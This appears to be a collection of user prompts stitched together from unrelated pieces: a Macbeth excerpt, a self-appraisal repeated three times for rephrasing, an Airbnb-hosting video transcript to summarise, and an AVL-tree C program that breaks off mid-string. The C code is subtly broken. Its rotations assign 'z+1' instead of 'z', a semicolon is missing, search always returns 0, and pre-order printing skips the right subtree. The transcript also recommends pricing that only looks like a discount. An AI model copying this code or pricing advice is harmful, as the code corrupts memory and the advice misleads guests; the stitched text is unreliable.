from the bill1115\nThat writes them all alike: and so of men.\nNow, if you have a station in the file,\nNot i' the worst rank of manhood, say 't;\nAnd I will put that business in your bosoms,\nWhose execution takes your enemy off,1120\nGrapples you to the heart and love of us,\nWho wear our health but sickly in his life,\nWhich in his death were perfect.\nSecond Murderer. I am one, my liege,\nWhom the vile blows and buffets of the world1125\nHave so incensed that I am reckless what\nI do to spite the world.\nFirst Murderer. And I another\nSo weary with disasters, tugg'd with fortune,\nThat I would set my lie on any chance,1130\nTo mend it, or be rid on't.\nMacbeth. Both of you\nKnow Banquo was your enemy.\nFirst Murderer. [with Second Murderer] True, my lord.\nMacbeth. So is he mine; and in such bloody distance,1135\nThat every minute of his being thrusts\nAgainst my near'st of life: and though I could\nWith barefaced power sweep him from my sight\nAnd bid my will avouch it, yet I must not,\nFor certain friends that are both his and mine,1140\nWhose loves I may not drop, but wail his fall\nWho I myself struck down; and thence it is,\nThat I to your assistance do make love,\nMasking the business from the common eye\nFor sundry weighty reasons.1145\nSecond Murderer. We shall, my lord,\nPerform what you command us.\nFirst Murderer. Though our lives—\nMacbeth. Your spirits shine through you. Within this hour at most\nI will advise you where to plant yourselves;1150\nAcquaint you with the perfect spy o' the time,\nThe moment on't; for't must be done to-night,\nAnd something from the palace; always thought\nThat I require a clearness: and with him—\nTo leave no rubs nor botches in the work—1155\nFleance his son, that keeps him company,\nWhose absence is no less material to me\nThan is his father's, must embrace the fate\nOf that dark hour. Resolve yourselves apart:\nI'll come to you anon.1160\nFirst Murderer. [With Second Murderer] We are resolved, my lord.\nMacbeth. I'll call upon you straight: abide within.\n[Exeunt Murderers]\nIt is concluded. Banquo, thy soul's flight,\nIf it find heaven, must find it out to-night.1165\n[Exit]\n\n \nAct III, Scene 2\n\nThe palace.\n\n \n[Enter LADY MACBETH and a Servant]\n\nLady Macbeth. Is Banquo gone from court?\nServant. Ay, madam, but returns again to-night.\nLady Macbeth. Say to the king, I would attend his leisure1170\nFor a few words.\nServant. Madam, I will.\n[Exit]\n\nLady Macbeth. Nought's had, all's spent,\nWhere our desire is got without content:1175\n'Tis safer to be that which we destroy\nThan by destruction dwell in doubtful joy.\n[Enter MACBETH]\nHow now, my lord! why do you keep alone,\nOf sorriest fancies your companions making,1180\nUsing those thoughts which should indeed have died\nWith them they think on? Things without all remedy\nShould be without regard: what's done is done.\nMacbeth. We have scotch'd the snake, not kill'd it:\nShe'll close and be herself, whilst our poor malice1185\nRemains in danger of her former tooth.\nBut let the frame of things disjoint, both the\nworlds suffer,\nEre we will eat our meal in fear and sleep\nIn the affliction of these terrible dreams1190\nThat shake us nightly: better be with the dead,\nWhom we, to gain our peace, have sent to peace,\nThan on the torture of the mind to lie\nIn restless ecstasy. Duncan is in his grave;\nAfter life's fitful fever he sleeps well;1195\nTreason has done his worst: nor steel, nor poison,\nMalice domestic, foreign levy, nothing,\nCan touch him further.\nLady Macbeth. Come on;\nGentle my lord, sleek o'er your rugged looks;1200\nBe bright and jovial among your guests to-night.\nMacbeth. So shall I, love; and so, I pray, be you:\nLet your remembrance apply to Banquo;\nPresent him eminence, both with eye and tongue:\nUnsafe the while, that we1205\nMust lave our honours in these flattering streams,\nAnd make our faces vizards to our hearts,\nDisguising what they are.\nLady Macbeth. You must leave this.\nMacbeth. O, full of scorpions is my mind, dear wife!1210\nThou know'st that Banquo, and his Fleance, lives.\nLady Macbeth. But in them nature's copy's not eterne.\nMacbeth. There's comfort yet; they are assailable;\nThen be thou jocund: ere the bat hath flown\nHis cloister'd flight, ere to black Hecate's summons1215\nThe shard-borne beetle with his drowsy hums\nHath rung night's yawning peal, there shall be done\nA deed of dreadful note.\nLady Macbeth. What's to be done?\nMacbeth. Be innocent of the knowledge, dearest chuck,1220\nTill thou applaud the deed. Come, seeling night,\nScarf up the tender eye of pitiful day;\nAnd with thy bloody and invisible hand\nCancel and tear to pieces that great bond\nWhich keeps me pale! Light thickens; and the crow1225\nMakes wing to the rooky wood:\nGood things of day begin to droop and drowse;\nWhile night's black agents to their preys do rouse.\nThou marvell'st at my words: but hold thee still;\nThings bad begun make strong themselves by ill.1230\nSo, prithee, go with me.\n[Exeunt]\n\n \nAct III, Scene 3\n\nA park near the palace.\n\n \n[Enter three Murderers]\n\nFirst Murderer. But who did bid thee join with us?\nThird Murderer. Macbeth.1235\nSecond Murderer. He needs not our mistrust, since he delivers\nOur offices and what we have to do\nTo the direction just.\nFirst Murderer. Then stand with us.\nThe west yet glimmers with some streaks of day:1240\nNow spurs the lated traveller apace\nTo gain the timely inn; and near approaches\nThe subject of our watch.\nThird Murderer. Hark! I hear horses.\nBanquo. [Within] Give us a light there, ho!1245\nSecond Murderer. Then 'tis he: the rest\nThat are within the note of expectation\nAlready are i' the court.\nFirst Murderer. His horses go about.\nThird Murderer. Almost a mile: but he does usually,1250\nSo all men do, from hence to the palace gate\nMake it their walk.\nSecond Murderer. A light, a light!\n[Enter BANQUO, and FLEANCE with a torch]\n\nThird Murderer. 'Tis he.1255\nFirst Murderer. Stand to't.\nBanquo. It will be rain to-night.\nFirst Murderer. Let it come down.\n[They set upon BANQUO]\n\nBanquo. O, treachery! Fly, good Fleance, fly, fly, fly!1260\nThou mayst revenge. O slave!\n[Dies. FLEANCE escapes]\n\nThird Murderer. Who did strike out the light?\nFirst Murderer. Wast not the way?\nThird Murderer. There's but one down; the son is fled.1265\nSecond Murderer. We have lost\nBest half of our affair.\nFirst Murderer. Well, let's away, and say how much is done.\n[Exeunt]" +"rephrase the below items\nStarting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I always try and take the end-to-end development and deployment responsibilities of new services or features" +"Following is a youtube video transcript. Can you summarize it for me:\n\n0:00\nso i recommend posting to both airbnb\n0:02\nand vrbo regardless of what air dna says\n0:05\nwhere people are mainly listing in your\n0:06\narea if you don't what i'm talking about\n0:08\nhere here when you come and this is on\n0:09\nthe free version as well it'll show you\n0:11\nwhere hosts are listing their properties\n0:12\neither airbnb or vrp or both regardless\n0:14\nof what it says i think it's important\n0:16\nto be diversified on both platforms you\n0:18\nknow most cases most of your bookings\n0:19\nwill come from airbnb but you know again\n0:21\nit never hurts to be diversified you\n0:22\nknow reason being even if you get 10 to\n0:24\n20 of your bookings from vrbo that's\n0:26\nmoney that you're leaving on the table\n0:28\nand later in this training i'll be\n0:29\nshowing you how to automate your\n0:30\nmessaging and calendar on both platforms\n0:32\nanyway so i'll just take the few extra\n0:33\nminutes it will take to post a vrbo as\n0:35\nwell now before we jump in make sure to\n0:37\ncreate a brand new email for both\n0:38\nlistings just like we did when creating\n0:40\na separate bank account for your\n0:41\nbusiness same idea here we want to\n0:43\nseparate your personal from your\n0:45\nbusiness as much as possible to keep\n0:46\nthings clean now posting your listing is\n0:48\npretty intuitive and both platforms walk\n0:50\nyou through step by step but i'm going\n0:51\nto share a few things along the way that\n0:52\nare important to note this is just a\n0:54\nlittle tip that i picked up along the\n0:55\nway for whatever reason if you have a\n0:57\nsignificant other heck even if it's your\n0:59\nmom i would list their name here on the\n1:01\nlisting if you have a female name people\n1:02\nlike to book and it creates a layer of\n1:04\ntrust that i don't really understand but\n1:06\nonce i started putting my wife's name in\n1:08\nhere it seemed to get more booking so\n1:10\nyou know again this is one of those\n1:11\nplacebo things that i feel like is\n1:12\nworking so if it ain't broke then don't\n1:14\nfix it all right so let's go in here\n1:16\ncreate a new listing and again something\n1:17\nthat airbnb is shifting over to is\n1:20\ncreating a unique experience and so\n1:22\nwhatever you know you're going to be\n1:23\ndoing so let's say you're doing an\n1:24\napartment and then you also want to\n1:26\ndescribe what kind of place that you're\n1:28\nin so let's say we have a loft here\n1:30\nentire place and then let's say you know\n1:32\nwe want to pick your address let's say\n1:35\nit's right here let's say you can fit\n1:36\nsix people you can have four beds and\n1:39\nthey're say it's two-bedroom and then\n1:41\nyou wanna make sure you come in here and\n1:42\njust pick all of the different amenities\n1:44\nthat your place has you know especially\n1:45\nif it's an apartment then you wanna go\n1:47\nin here check all the amenities that\n1:48\nyour apartment offers and then you can\n1:50\ncome in here and just click all these on\n1:52\nagain this isn't gonna be the full\n1:53\ncomprehensive amenities that you can\n1:55\ninclude there's a lot more that you can\n1:56\nadd after you post your listing live all\n1:58\nright now this is super important and\n1:59\nthis is where your professional photos\n2:01\nwill come into play i'll use one of my\n2:02\nlistings photos to show you how i would\n2:04\nrearrange them depending on how i think\n2:06\nthey look and which photo really grabs\n2:07\nthe attention of the user the most so\n2:09\nhonestly this has done a pretty good job\n2:11\nof kind of choosing which photos to\n2:13\nchoose first anyway this one would\n2:14\ndefinitely be my feature photo just\n2:16\nbecause you know the tall you know\n2:18\ntongue and groove here on the ceiling\n2:19\nyou know it has really good contrast\n2:21\nreally pops you know we have this little\n2:23\naccent fireplace right here as well and\n2:25\nit really highlights you know that the\n2:26\nfurniture is really nice and clean and\n2:28\nit's really just a really good picture\n2:30\nand it's done really well for us this is\n2:31\nactually our first picture on our actual\n2:33\nlisting but you want to pick the best\n2:35\nfive photos that you have and you're\n2:37\ngoing to have anywhere from 30 to 50\n2:39\npictures so what i'll do here next and\n2:41\nlet's just take a look to see what we\n2:43\nhave okay so the next picture that i\n2:44\nwould like to do i'm gonna use this\n2:46\nmaster bedroom photo here it has the\n2:48\nblue borton band wall here that really\n2:50\njust pops out in pictures then i really\n2:51\nlike that to use as my second photo the\n2:53\nnext photo that i'll use here because we\n2:55\nhave the game room in this property this\n2:56\nis another good one just because you\n2:58\nknow shows that it's going to be a fun\n2:59\nenvironment if you have kids that you\n3:01\ncan have your kids go downstairs and\n3:02\nplay and hang out in the game room area\n3:04\nso i think this would be a good third\n3:06\nphoto the next photo that i'm going to\n3:07\nuse is use this you know outdoor area i\n3:10\nthink this is a really cool photo you\n3:11\nknow because people don't want to be\n3:12\nconfined in their space when they go on\n3:15\nvacation i also want to highlight that\n3:16\nthey can have this you know cool little\n3:18\noutdoor deck area where they can just\n3:19\nkind of hang out and chill and then we\n3:21\nneed one more so out of these photos i'm\n3:23\ngoing to use this one right here and\n3:24\nthen for the last photo here i'm going\n3:25\nto use this kitchen again because it\n3:27\nhighlights the tongue and groove it\n3:28\nshows that the kitchen's you know nice\n3:30\nand updated and then we have this long\n3:32\ntable here with this little breakfast\n3:33\nnook so i definitely like these five\n3:34\nphotos and what this will do it's really\n3:36\ngonna highlight your five best moments\n3:38\nin the house and that's how you wanna\n3:39\nthink of it when you choose your photos\n3:41\num this is really important so how this\n3:43\nwill look and i'll show you what it\n3:44\nlooks like on my actual listing so when\n3:46\nyou come in here it's going to have your\n3:47\nmain photo here and then it's going to\n3:49\nhave the other four photos here on the\n3:50\nright where you can you know highlight a\n3:52\nlittle bit more and then they can show\n3:53\nall photos and they can go down here so\n3:55\nat the time of this recording airbnb has\n3:56\nactually updated their algorithm and\n3:59\nwhen you go to the front page now this\n4:01\nis what it looks like so it doesn't have\n4:03\nany of the titles here it basically just\n4:04\nshows you where the airbnb is located\n4:07\nand then you can come in here and you\n4:08\ncan search by national parks cabins so\n4:10\nyou can't be unique with the listing\n4:12\ntitle anymore but that doesn't mean that\n4:13\nit's not important i'm just going to\n4:15\ncome in here and just kind of copy what\n4:16\ni've done with my one of my other\n4:17\nlistings here so you want to just make\n4:19\nit unique you know it's kind of\n4:20\nhighlight a few things because when the\n4:21\nperson actually clicks on your listing\n4:23\nthen you'll be able to see your title\n4:25\nbut when you're actually searching for\n4:26\nproperties you won't be able to see it\n4:28\njust shows you the location of where\n4:30\nit's at so you want to highlight the\n4:31\nvibe of your place so if it's unique\n4:33\nstylish you can just pick those and then\n4:35\nyour description is going to be really\n4:36\nimportant as well this is where you can\n4:38\nyou know tell a story about you know\n4:40\nwhat exactly your listing is going to do\n4:42\nand you know we have some examples that\n4:43\nyou can use on our listings that will\n4:45\nshare essentially what you want to do\n4:46\nthe format that we like to take here so\n4:48\nwe'd like to have you know a quick you\n4:50\nknow three sentence high level overview\n4:52\nof what you'll be experiencing if you\n4:53\ncome to our property and then we'd like\n4:55\nto do a bullet point list of all of the\n4:57\nthings that we offer and then we also\n4:59\ncome in here and just kind of describe\n5:00\neach uni if they want to dig a little\n5:02\nbit deeper into each part of the house\n5:03\nthey can just come in here and read all\n5:05\nthis so again you can copy this if you\n5:06\nwant and just kind of make it your own\n5:08\nright so so for here you know we don't\n5:10\nwant to worry about pricing in airbnb we\n5:12\ndo all this on price labs which i'm\n5:14\ngoing to share with you in a later\n5:14\nmodule so what you want to do is come in\n5:16\nhere and increase the pricing by at\n5:18\nleast three times what you normally\n5:19\nwould charge and the reason i do that is\n5:21\nonce you hit live your listing is going\n5:23\nto start showing up on the algorithm the\n5:25\nalgorithm actually favors people that\n5:27\njust have a brand new listing and it\n5:29\nputs it on the front page and so you\n5:31\ndon't want someone to come in here and\n5:32\nbook your listing at a really great\n5:34\ndiscount that's why 3x the price of what\n5:36\nmy normal base price would be so i can\n5:37\ncome in and update all of our software\n5:39\nautomations and tools and then super\n5:41\nimportant you want to offer this 20\n5:43\ndiscount for your first three guests and\n5:45\nwhat this will do it's gonna start\n5:47\nsnowballing get your reviews that way\n5:48\nyou can get started on a good foot and\n5:50\nreally get your bookings in right away\n5:51\nand again there's two different\n5:52\nstrategies that you can use so what i\n5:54\npersonally like to do is i like to\n5:55\nincrease the price by you know anywhere\n5:57\nfrom 15 to 20 percent of my base pricing\n6:00\nbecause you know when people see that\n6:01\nthey're getting a 20 discount\n6:02\npsychologically even if it's not really\n6:04\na discount they think they're getting a\n6:06\ngreat deal because they see the 20 off\n6:08\nyou can offset the discount by\n6:09\nincreasing your price so essentially\n6:10\nyou're netting the same i've also seen\n6:12\nother people lower the price and get\n6:14\nbookings that way just so they can start\n6:15\ngetting reviews i like to increase my\n6:17\nprice and that the same because i feel\n6:18\nlike your listing is optimized with\n6:20\ngreat photos and a great listing\n6:22\ndescription then you're gonna get\n6:23\nbookings if you're put on the front page\n6:25\nanyway so that's the way i like to look\n6:27\nat it but again that's completely up to\n6:28\nyou so then you wanna you know make sure\n6:30\nthat you come in here and you know if\n6:32\nyou have security cameras you want to\n6:33\nlist that come in here review your\n6:34\nlisting once you're ready publish your\n6:36\nlisting and then go in and unlist it\n6:38\njust because we're going to onboard a\n6:39\ncouple of software automation tools\n6:41\nfirst before we go officially live so a\n6:43\ncouple things to note for the amount of\n6:44\nguests that i allow and\n6:46\nthe rule of thumb that i like to use is\n6:48\ni like to put one person per every 100\n6:50\nsquare feet of your property and also\n6:52\ndepends on the amount of rooms that you\n6:54\nhave and also it's going to depend on\n6:55\ndifferent regulations and laws in your\n6:57\nspecific area some places no matter how\n6:59\nbig it is will only allow you know six\n7:01\nguests or eight guests you have to make\n7:03\nsure you know those regulations and laws\n7:05\ni like to use four mattresses don't use\n7:07\nblow up mattresses because those you\n7:08\nknow can pop they always deflate no\n7:10\nmatter you know how well you take care\n7:12\nof them so you can use floor mattresses\n7:14\num you can also use the pull out couches\n7:16\nit really depends on your area and i'll\n7:18\nshow you what your budget is again\n7:19\ncreating a great listing description is\n7:21\nreally important because it really sells\n7:22\nthe guest on your listing and what i\n7:24\nlike to do is i like to go on the front\n7:26\npage of my area that i'm going to be in\n7:29\nand see what the top performers are\n7:30\ndoing and kind of take inspiration here\n7:32\nand there and make it your own obviously\n7:34\ndon't just copy them verbatim but you\n7:36\nwant to see what the top performers are\n7:37\ndoing and then i know i'm going to get\n7:38\nasked this question as well we like to\n7:40\nuse a strict cancellation policy on ours\n7:42\nand then cleaning fee you want to make\n7:44\nsure that you pad yours anywhere from 15\n7:46\nto 30 percent because the guest is going\n7:47\nto be paying this anyway obviously\n7:49\nthat's going to depend on the cleaner if\n7:50\nyou find a great cleaner that charges a\n7:52\nlittle bit more than what your\n7:54\ncompetition is charging i think it's\n7:56\nworth having them just because you'll\n7:57\nhave less headaches down the line and\n7:59\nagain i always like to pad my cleaning\n8:00\ncosts just because i use that as\n8:02\nreserves for maintenance repairs you\n8:04\nknow anything else that might come up\n8:06\nand also to tip my cleaners as well and\n8:08\nthen another really important thing you\n8:09\nwant to do is you want to charge more\n8:11\nper guest after let's say you know five\n8:14\nto six guests depending on how big your\n8:16\nlisting is and i'll add anywhere from\n8:17\ntwenty to thirty dollars more per night\n8:19\nand what this is going to do this is\n8:21\ngoing to allow you to increase your\n8:22\naverage daily rate just by more guests\n8:24\ncoming in and again people are gonna lie\n8:26\nabout how many guests they're bringing\n8:27\nso you wanna enforce these rules on your\n8:29\nsecurity camera and you wanna see how\n8:30\nmany guests are actually coming in this\n8:32\nis a really easy way to increase your\n8:33\naverage daily rate just because if you\n8:35\nhave you know let's say three more\n8:37\nguests after six that's almost 100 bucks\n8:39\nextra per night that you can charge and\n8:41\nif you have a great listing if you\n8:43\nfollow everything else in this training\n8:45\nyour listing is going to be so optimized\n8:46\nthat people are going to want to book\n8:47\nyour place they're going to pay that\n8:49\npremium to stay at your place so make\n8:50\nsure that you do that so once your\n8:51\nlisting is live you can come in here and\n8:52\nadd a co-host just put that you pay them\n8:54\nzero dollars and obviously you can pay\n8:55\nthem outside of the actual listing but i\n8:57\nwouldn't pay them through airbnb so yeah\n8:59\nso this is how you set that up you can\n9:01\njust add co-hosts and you just add their\n9:03\nemail here" +'#include \n#include \n\nstruct AVLnode\n{\n int key;\n struct AVLnode \\*left;\n struct AVLnode \\*right;\n int height;\n};\ntypedef struct AVLnode avlNode;\n\nint max(int a, int b) { return (a > b) ? a : b; }\n\navlNode \\*newNode(int key)\n{\n avlNode \\*node = (avlNode \\*)malloc(sizeof(avlNode));\n\n if (node == NULL)\n printf("!! Out of Space !!\\n");\n else\n {\n node->key = key;\n node->height = 0;\n }\n\n return node;\n}\n\nint nodeHeight(avlNode \\*node)\n{\n if (node == NULL)\n return 0;\n else\n return (node->height);\n}\n\nint heightDiff(avlNode \\*node)\n{\n if (node == NULL)\n return -1;\n else\n return (nodeHeight(node->left) - nodeHeight(node->right));\n}\n\n/\\* Returns the node with min key in the left subtree\\*/\navlNode \\*minNode(avlNode \\*node)\n{\n avlNode \\*temp = node;\n\n while (temp->left != NULL) temp = temp->left;\n\n return temp\n}\n\nvoid printAVL(avlNode \\*node, int level)\n{\n int i;\n if (node != NULL)\n {\n printAVL(node->right, level);\n printf("\\n\\n");\n\n for (i = 0; i < level; i++) printf("\\t");\n\n printf("%d", node->key);\n\n printAVL(node->left, level + 1);\n }\n}\n\navlNode \\*rightRotate(avlNode \\*z)\n{\n avlNode \\*y = z->left;\n avlNode \\*T3 = y->right;\n\n y->right = z+1;\n z->left = T3;\n\n z->height = (max(nodeHeight(z->left), nodeHeight(z->right)) + 1);\n y->height = (max(nodeHeight(y->left), nodeHeight(y->right)) + 1);\n\n return y;\n}\n\navlNode \\*leftRotate(avlNode \\*z)\n{\n avlNode \\*y = z->right;\n avlNode \\*T3 = y->left;\n\n y->left = z+1;\n z->right = T3;\n\n z->height = (max(nodeHeight(z->left), nodeHeight(z->right)) + 1);\n y->height = (max(nodeHeight(y->left), nodeHeight(y->right)) + 1);\n\n return y;\n}\n\navlNode \\*LeftRightRotate(avlNode \\*z)\n{\n z->left = leftRotate(z->left);\n\n return (rightRotate(z));\n}\n\navlNode \\*RightLeftRotate(avlNode \\*z)\n{\n z->right = rightRotate(z->right);\n\n return (leftRotate(z));\n}\n\navlNode \\*insert(avlNode \\*node, int key)\n{\n if (node == NULL)\n return (newNode(key));\n\n /\\*Binary Search Tree insertion\\*/\n\n if (key < node->key)\n node->left =\n insert(node->left, key); /\\*Recursive insertion in L subtree\\*/\n else if (key > node->key)\n node->right =\n insert(node->right, key); /\\*Recursive insertion in R subtree\\*/\n\n /\\* Node Height as per the AVL formula\\*/\n node->height = (max(nodeHeight(node->left), nodeHeight(node->right)) + 1);\n\n /\\*Checking for the balance condition\\*/\n int balance = heightDiff(node);\n\n /\\*Left Left \\*/\n if (balance > 1 && key < (node->left->key))\n return rightRotate(node);\n\n /\\*Right Right \\*/\n if (balance < -1 && key > (node->right->key))\n return leftRotate(node);\n\n /\\*Left Right \\*/\n if (balance > 1 && key > (node->left->key))\n {\n node = LeftRightRotate(node);\n }\n\n /\\*Right Left \\*/\n if (balance < -1 && key < (node->right->key))\n {\n node = RightLeftRotate(node);\n }\n\n return node;\n}\n\navlNode \\*delete (avlNode \\*node, int queryNum)\n{\n if (node == NULL)\n return 0;\n\n if (queryNum < node->key)\n node->left =\n delete (node->left, queryNum); /\\*Recursive deletion in L subtree\\*/\n else if (queryNum > node->key)\n node->right =\n delete (node->right, queryNum); /\\*Recursive deletion in R subtree\\*/\n else\n {\n /\\*Single or No Children\\*/\n if ((node->left == NULL) || (node->right == NULL))\n {\n avlNode \\*temp = node->left ? node->left : node->right;\n\n /\\* No Children\\*/\n if (temp == NULL)\n {\n temp = node;\n node = NULL;\n }\n else /\\*Single Child : copy data to the parent\\*/\n \\*node = \\*temp;\n\n free(temp);\n }\n else\n {\n /\\*Two Children\\*/\n\n /\\*Get the smallest key in the R subtree\\*/\n avlNode \\*temp = minNode(node->right);\n node->key = temp->key; /\\*Copy that to the root\\*/\n node->right =\n delete (node->right,\n temp->key); /\\*Delete the smallest in the R subtree.\\*/\n }\n }\n\n /\\*single node in tree\\*/\n if (node == NULL)\n return node;\n\n /\\*Update height\\*/\n node->height = (max(nodeHeight(node->left), nodeHeight(node->right)) + 1);\n\n int balance = heightDiff(node);\n\n /\\*Left Left \\*/\n if ((balance > 1) && (heightDiff(node->left) >= 0))\n return rightRotate(node);\n\n /\\*Left Right \\*/\n if ((balance > 1) && (heightDiff(node->left) < 0))\n {\n node = LeftRightRotate(node);\n }\n\n /\\*Right Right \\*/\n if ((balance < -1) && (heightDiff(node->right) >= 0))\n return leftRotate(node);\n\n /\\*Right Left \\*/\n if ((balance < -1) && (heightDiff(node->right) < 0))\n {\n node = RightLeftRotate(node);\n }\n\n return node;\n}\n\navlNode \\*findNode(avlNode \\*node, int queryNum)\n{\n if (node != NULL)\n {\n if (queryNum < node->key)\n node = findNode(node->left, queryNum);\n else if (queryNum > node->key)\n node = findNode(node->right, queryNum);\n }\n\n return 0;\n}\n\nvoid printPreOrder(avlNode \\*node)\n{\n if (node == NULL)\n return;\n\n printf(" %d ", (node->key));\n printPreOrder(node->left);\n\n}\n\nvoid printInOrder(avlNode \\*node)\n{\n if (node == NULL)\n return 0;\n printInOrder(node->left);\n printf(" %d ", (node->key));\n printInOrder(node->right);\n}\n\nvoid printPostOrder(avlNode \\*node)\n{\n if (node == NULL)\n return 0;\n printPostOrder(node->left);\n printPostOrder(node->right);\n printf(" %d ", (node->key));\n}\n\nint main()\n{\n int choice;\n int flag = 1;\n int insertNum;\n int queryNum;\n\n avlNode \\*root = NULL;\n avlNode \\*tempNode;\n\n while (flag == 1)\n {\n printf("\\n\\nEnter the Step to Run : \\n");\n\n printf("\\t1: Insert a node into AVL tree\\n");\n printf("\\t2: Delete a node in AVL tree\\n");\n printf("\\t3: Search a node into AVL tree\\n");\n printf("\\t4: printPreOrder (Ro L R) Tree\\n");\n printf("\\t5: printInOrder (L Ro R) 